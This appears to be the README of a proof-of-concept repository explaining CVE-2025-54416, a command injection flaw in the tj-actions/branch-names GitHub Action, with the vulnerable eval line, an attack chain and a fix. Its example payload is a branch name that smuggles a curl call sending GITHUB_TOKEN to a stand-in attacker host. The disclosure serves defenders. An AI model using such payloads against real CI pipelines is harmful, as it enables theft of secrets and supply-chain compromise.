CVE-2025-54416: tj-actions/branch-names Command Injection PoC

This repository demonstrates CVE-2025-54416, a critical command injection vulnerability in tj-actions/branch-names affecting over 5,000 public repositories.

Vulnerability

The tj-actions/branch-names GitHub Action (versions <= 8.2.1) uses unsafe eval printf "%s" which reintroduces command injection risks after proper sanitization.

# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"

Attack Chain

1. Attacker creates a branch with a malicious name containing shell commands
2. Victim's workflow uses tj-actions/[email protected] to extract the branch name
3. The extracted branch name (with attacker payload) is used in subsequent shell commands
4. Command executes in the CI runner context with runner's privileges
5. Secrets (AWS keys, GITHUB_TOKEN, etc.) are exfiltrated

Example Payload

Branch name: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)

When the workflow runs:

echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN

Impact

• Theft of sensitive secrets (AWS keys, API tokens, GITHUB_TOKEN)
• Unauthorized code modifications
• Malicious image pushes to production registries
• Supply chain attacks via compromised CI/CD

Fix

Update to tj-actions/branch-names@v9 or later, which replaces eval printf "%s" with safe printf calls.

References

• GitHub Advisory GHSA-gq52-6phf-x2r6
• CVE-2025-54416